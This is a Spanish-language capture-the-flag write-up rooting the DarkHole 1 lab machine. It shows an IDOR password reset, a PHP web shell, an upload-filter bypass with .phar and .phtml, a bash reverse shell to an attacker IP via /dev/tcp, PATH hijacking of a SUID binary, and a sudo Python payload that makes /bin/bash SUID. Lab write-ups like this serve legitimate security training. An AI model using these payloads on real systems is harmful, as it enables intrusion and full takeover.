05 - DarkHole 1

Enumeramos puertos (22, 80). El sitio tiene login y registro. El login no es vulnerable a SQLi, pero al registrarnos y editar el perfil interceptamos el cambio de contraseña con Burp y vemos que el id del usuario viaja en la petición — un IDOR. Cambiando id=1 reseteamos la contraseña del admin:

Password Has been Updated

Entramos como admin, que ahora dispone de una subida de archivos. Como los archivos subidos deben almacenarse en algún sitio, enumeramos directorios con dirb y encontramos /upload/ (subiendo un test.txt de prueba confirmamos que ahí se guarda lo que cargamos):

❯ whatweb http://192.168.1.27:80
❯ dirb http://192.168.1.27:80 -o 01-dirb-darkhole-1   # → http://192.168.1.27/upload/

La tecnología es PHP (confirmado con Wappalyzer). Preparamos una webshell PHP:

<?php
	echo "<pre>" . shell_exec( $_GET['cmd'] ) . "</pre>";
?>

Al subirla directamente responde Sorry , Allow Ex : jpg,png,gif. Interceptamos la subida con Burp y la enviamos a Intruder (ataque sniper sobre la extensión), probando php, php3, php4, php5, pht, phtm, phtml, phar. El filtro solo valida la primera extensión enviada, así que todas menos php se suben correctamente; de ellas, phar y phtml ejecutan PHP:

http://192.168.1.27/upload/subeme.phar?cmd=whoami    # → www-data
http://192.168.1.27/upload/subeme.phtml?cmd=whoami   # → www-data

Lanzamos una reverse shell (recordar reemplazar & por %26 en la URL):

❯ nc -nlvp 443
http://192.168.1.27/upload/subeme.phar?cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.10/443 0>%261"

Estabilizamos la TTY (Tratamiento de la TTY):

script /dev/null -c bash
export TERM=xterm
^Z
stty raw -echo; fg
reset xterm

En /home/john hay un binario SUID toto (root) y archivos restringidos (file.py, password, user.txt) que como www-data no podemos leer:

www-data@darkhole:/home/john$ ls -l
-rwxrwx--- 1 john john     1 file.py
-rwxrwx--- 1 john john     8 password
-rwsr-xr-x 1 root root 16784 toto
-rw-rw---- 1 john john    24 user.txt
www-data@darkhole:/home/john$ file toto
toto: setuid ELF 64-bit LSB shared object, x86-64, ... not stripped
www-data@darkhole:/home/john$ ./toto        # se comporta como 'id'
uid=1001(john) gid=33(www-data) groups=33(www-data)

Con strings toto vemos que importa setuid, system y llama a id. Como invoca id sin ruta absoluta (algo como system("id")), hacemos PATH Hijacking:

www-data@darkhole:/tmp$ echo 'bash -p' > id ; chmod +x id
www-data@darkhole:/tmp$ export PATH=/tmp:$PATH
www-data@darkhole:/home/john$ ./toto
john@darkhole:~$

Como john leemos su contraseña (root123) y la primera flag. Revisamos sudo -l:

User john may run the following commands on darkhole:
    (root) /usr/bin/python3 /home/john/file.py

file.py es nuestro (lo controla john), así que le añadimos un payload que pone SUID a /bin/bash. Antes corregimos el PATH que habíamos alterado y verificamos los permisos de bash (755, root):

john@darkhole:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 /bin/bash

import os
os.system("chmod u+s /bin/bash")

john@darkhole:~$ sudo /usr/bin/python3 /home/john/file.py   # no pide contraseña
john@darkhole:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 /bin/bash    # ahora SUID
john@darkhole:~$ bash -p
bash-5.0# whoami
root

Obtenemos la flag de root.

Fin.